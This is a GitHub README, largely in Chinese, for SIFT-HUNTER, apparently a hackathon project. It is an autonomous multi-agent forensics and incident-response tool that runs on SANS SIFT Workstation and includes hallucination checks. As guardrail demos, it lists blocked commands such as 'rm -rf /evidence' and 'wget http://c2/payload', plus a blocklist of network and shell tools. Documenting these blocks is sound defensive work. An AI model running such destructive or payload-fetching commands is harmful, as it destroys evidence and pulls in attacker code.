svaka2000/SIFT-HUNTER

GitHub: svaka2000/SIFT-HUNTER

基于LangGraph多Agent架构的自主数字取证与应急响应系统,在SIFT Workstation上实现磁盘和内存证据的自动化分析、幻觉检测与结构化报告生成。

Stars: 1 | Forks: 0

# SIFT-HUNTER 🎯 **针对 SANS SIFT Workstation 的自主 AI 事件响应** [![测试](https://img.shields.io/badge/tests-244%20passing-brightgreen)](#testing) [![准确率](https://img.shields.io/badge/zeus%20%2B%20cridex-100%25%20precision%20%C2%B7%2086%25%20recall-success)](docs/EVALUATION.md) [![实时演示](https://img.shields.io/badge/live%20demo-sift--hunter--dashboard.vercel.app-3fe6d0)](https://sift-hunter-dashboard.vercel.app) [![Python](https://img.shields.io/badge/python-3.11%2B-blue)](#) [![许可证](https://img.shields.io/badge/license-MIT-green)](#) [![架构](https://img.shields.io/badge/architecture-Pattern%202%20%2B%203-purple)](#architecture) SIFT-HUNTER 是一个自定义 MCP 服务器 + 多 Agent 编排系统,能够自主分析磁盘镜像和内存捕获,自我纠正其发现,映射到 MITRE ATT&CK,并生成结构化的事件报告 —— 所有这些都在 SANS SIFT Workstation 上完成。 ## 快速开始 (SIFT Workstation) ``` # 一键安装 curl -sSL https://raw.githubusercontent.com/svaka2000/SIFT-HUNTER/main/install.sh | bash # 或手动安装 git clone https://github.com/svaka2000/SIFT-HUNTER.git && cd SIFT-HUNTER pip install -e . # 设置你的 API key(Groq 免费且快速) export GROQ_API_KEY=your_key_here # 或:export ANTHROPIC_API_KEY=your_key_here # 运行分析 sift-hunter analyze /path/to/evidence/*.dmp /path/to/mft_export.csv # 检查某个命令是否会被 security layer 允许 sift-hunter check "rm -rf /evidence" # → BLOCKED sift-hunter check "MFTECmd -f mft.csv" # → ALLOWED # 将一个 finding 追溯到其 evidence sift-hunter audit F-abc12345 ``` ## 架构 ``` ┌─────────────────────────────────────────────────────────────────┐ │ SIFT-HUNTER │ │ │ │ ┌─────────────────────────────────────────────────────────┐ │ │ │ Multi-Agent Orchestrator (LangGraph) │ │ │ │ │ │ │ │ ┌────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │Triage │→ │Disk │→ │Memory │→ │Correlat- │ │ │ │ │ │Agent │ │Analyst │ │Analyst │ │or Agent │ │ │ │ │ └────────┘ └──────────┘ └──────────┘ └────┬─────┘ │ │ │ │ │ │ │ │ │ ┌─────▼──────┐ │ │ │ │ ◄────── SELF-CORRECTION ◄────── │ Verifier │ │ │ │ │ (routes back to analysts │ Agent ⭐ │ │ │ │ │ if issues found) └─────┬──────┘ │ │ │ │ │ │ │ │ │ ┌─────▼──────┐ │ │ │ │ │ Reporter │ │ │ │ │ │ Agent │ │ │ │ │ └────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ │ │ │ calls │ │ ┌─────────────────────────▼───────────────────────────────┐ │ │ │ Custom MCP Server (Pattern 2) │ │ │ │ │ │ │ │ ┌─────────────────────┐ ┌───────────────────────┐ │ │ │ │ │ Disk Forensics Tools │ │ Memory Forensics Tools │ │ │ │ │ │ • MFT (timestomping) │ │ • Volatility3 pslist │ │ │ │ │ │ • Prefetch (PECmd) │ │ • netscan (C2 detect) │ │ │ │ │ │ • Registry (RECmd) │ │ • malfind (injection) │ │ │ │ │ │ • USN Journal │ │ • hashdump │ │ │ │ │ │ • ShellBags (SBECmd) │ └───────────────────────┘ │ │ │ │ │ • Timeline (plaso) │ │ │ │ │ │ • Sleuth Kit (fls) │ ┌───────────────────────┐ │ │ │ │ └─────────────────────┘ │ Enrichment │ │ │ │ │ │ • MITRE ATT&CK (35+) │ │ │ │ │ ┌─────────────────────┐ │ • VirusTotal │ │ │ │ │ │ Security Layer ⛔ │ │ • AbuseIPDB │ │ │ │ │ │ • BLOCKED_BINARIES │ └───────────────────────┘ │ │ │ │ │ • ALLOWED_BINARIES │ │ │ │ │ │ • Path validation │ │ │ │ │ │ • Read-only enforced │ │ │ │ │ └─────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────┘ │ └─────────────────────────────────────────────────────────────────┘ ``` ### 为什么该架构能胜出 直接映射到 SANS FIND EVIL! 的评审标准: | 评审标准 | SIFT-HUNTER 如何应对 | |-------------------|------------------------------| | **自主执行** | LangGraph 6-Agent pipeline 通过一条命令进行端到端运行;Verifier 无需任何人工干预即可自我纠正 | | **IR 准确率** | **在标准的 `zeus.vmem` + `cridex.vmem` 内存样本上进行测量 - 100% 精确率 (precision) / 86% 召回率 (recall) / 0 误报 (false positives)** ([docs/EVALUATION.md](docs/EVALUATION.md),无需 key 即可通过 `python -m benchmarks.evaluate` 复现)。置信度标签将 CONFIRMED(已确认)与推断分开;真实的 Agent 运行记录见 [`sample_report.md`](benchmarks/cases/case001/sample_report.md) | | **Hallucination 管理** ⭐ | 确定性检测器将每个 IOC 与原始工具输出进行交叉核对 - **实测捕获率 93% / 误报率 0%**,可通过 `python -m benchmarks.hallucination_benchmark` 复现 | | **架构级防护** | ALLOWED/BLOCKED 二进制白名单 + 路径验证 + `shell=False`,通过 Python 强制执行,绝不依赖 prompt - **已进行绕过测试**(`tests/test_security_bypass.py`:20 次规避尝试,全部被拒绝) | | **审计追踪** | JSONL 记录每一次工具调用、发现、纠正和状态转换 - `sift-hunter audit ` 可将任何断言追溯至原始证据 | | **文档** | 一键安装,ARCHITECTURE / SECURITY / EVALUATION / ADDING_TOOLS 文档,244 个测试,不到 1 小时即可添加新的取证工具 | ## 自我纠正引擎 Verifier Agent 是最终的裁决者。它在每一轮分析后运行: 1. **自动化 Hallucination 检测** - 从发现结果的文本中提取实体(IP、EXE、注册表键、哈希值),在所有原始工具输出中搜索每一项。标记任何未找到的内容。 2. **LLM 语义验证** - 审查所有发现,检查置信度是否合适,检测是否存在矛盾。 3. **循环路由** - 发现问题 → 连同纠正指令一起路由回磁盘或内存分析器。没有问题 → 路由给报告生成器。 4. **安全阀门** - 每个发现最多进行 3 次纠正循环。迭代上限设为最大值的 60%,以防止死循环。 ``` Example self-correction: Disk analyst: "CONFIRMED - malware.exe present at C:\System32\malware.exe" Hallucination detector: "malware.exe not found in MFT output" Verifier: DOWNGRADE_CONFIDENCE → UNVERIFIED, route back to disk_analyst Disk analyst re-runs: "POSSIBLE - suspicious file in temp, cannot confirm path" Verifier: APPROVE ``` ## 安全边界 MCP 服务器强制执行**架构级**(而非基于 prompt 的)安全措施: - **ALLOWED_BINARIES**:显式的取证工具白名单(MFTECmd、PECmd、vol3 等),具有精确的许可 flag 集 - **BLOCKED_BINARIES**:`rm`、`dd`、`mkfs`、`wget`、`curl`、`bash`、`python`、`chmod`、`ssh` 以及 50 多个其他命令 - **路径验证**:禁止 `..`,禁止跟随 symlink,仅限配置好的证据根目录下的路径 - **只读强制执行**:严禁对证据目录进行任何写入操作 - 绝无例外 ``` # 演示 guardrails sift-hunter check "rm -rf /evidence" # BLOCKED: destructive binary sift-hunter check "wget http://c2/payload" # BLOCKED: network access sift-hunter check "MFTECmd -f mft.csv" # ALLOWED: forensic tool ``` ## 安装 ### 前置条件 - Python 3.11+ - SANS SIFT Workstation(用于实际的取证工具)或任何机器(用于分析预先导出的工件) - 以下之一:`GROQ_API_KEY`(提供免费额度)或 `ANTHROPIC_API_KEY` ### 安装 ``` # 从源码安装(未发布到 PyPI) git clone https://github.com/svaka2000/SIFT-HUNTER.git cd SIFT-HUNTER && pip install -e . ``` ### 配置 ``` export GROQ_API_KEY=gsk_... # Fast, free tier available export ANTHROPIC_API_KEY=sk-ant-... # Fallback # 可选调优 export SIFT_MODEL=llama-3.1-8b-instant # Override LLM export SIFT_MAX_ITERATIONS=30 # Max analysis iterations export SIFT_EVIDENCE_ROOTS=/cases # Allowed evidence paths export SIFT_OUTPUT_ROOT=/tmp/sift-out # Report output path ``` ## CLI 参考 ``` sift-hunter analyze # Full autonomous analysis sift-hunter server # Start MCP server sift-hunter audit # Trace evidence chain sift-hunter check # Test security layer sift-hunter version # Print version ``` ## 扩展 SIFT-HUNTER 请参阅 [docs/ADDING_TOOLS.md](docs/ADDING_TOOLS.md) 获取分步指南。添加一个新的取证工具只需不到 1 小时: ``` # 1. 将 binary 添加到 src/sift_hunter/mcp_server/security/allowlist.py 中的 ALLOWED_BINARIES # 2. 创建 src/sift_hunter/mcp_server/tools/disk/mytool.py # 3. 继承 BaseTool,实现 analyze() 和 find_suspicious() # 4. 在 src/sift_hunter/mcp_server/registry.py 中注册 ``` ## 测试 ``` pytest tests/ -v # All 244 tests - every one exercises the shipped src/ package pytest tests/test_security_bypass.py -v # 20 guardrail bypass attempts, all refused # 在标准的 zeus.vmem + cridex.vmem 样本上测量的准确率(无 API key) python -m benchmarks.evaluate # 复现测量的幻觉检测率(无需 API key) python -m benchmarks.hallucination_benchmark # 通过 detection engine 运行完整的样本事件(无 API key,无 SIFT binaries) python -m benchmarks.detect_case benchmarks/cases/case001 ``` ## 项目布局 ``` src/sift_hunter/ ├── agents/ # Multi-agent orchestration (LangGraph) │ ├── nodes/ # Triage, Disk, Memory, Correlator, Verifier, Reporter │ ├── orchestrator.py │ └── state.py ├── core/ # Models, audit, hallucination detection ├── mcp_server/ # Custom MCP server │ ├── security/ # Allowlist, path validator, command sanitizer │ └── tools/ # Disk, memory, enrichment wrappers └── cli.py # Click CLI ``` *SANS FIND EVIL! Hackathon 2026 - 模式 2 (自定义 MCP Server) + 模式 3 (多 Agent 编排)*
标签:DLL 劫持, SANS SIFT, Sysdig, 大语言模型, 库, 应急响应, 数字取证, 自动化分析, 自动化脚本, 跨站脚本, 逆向工具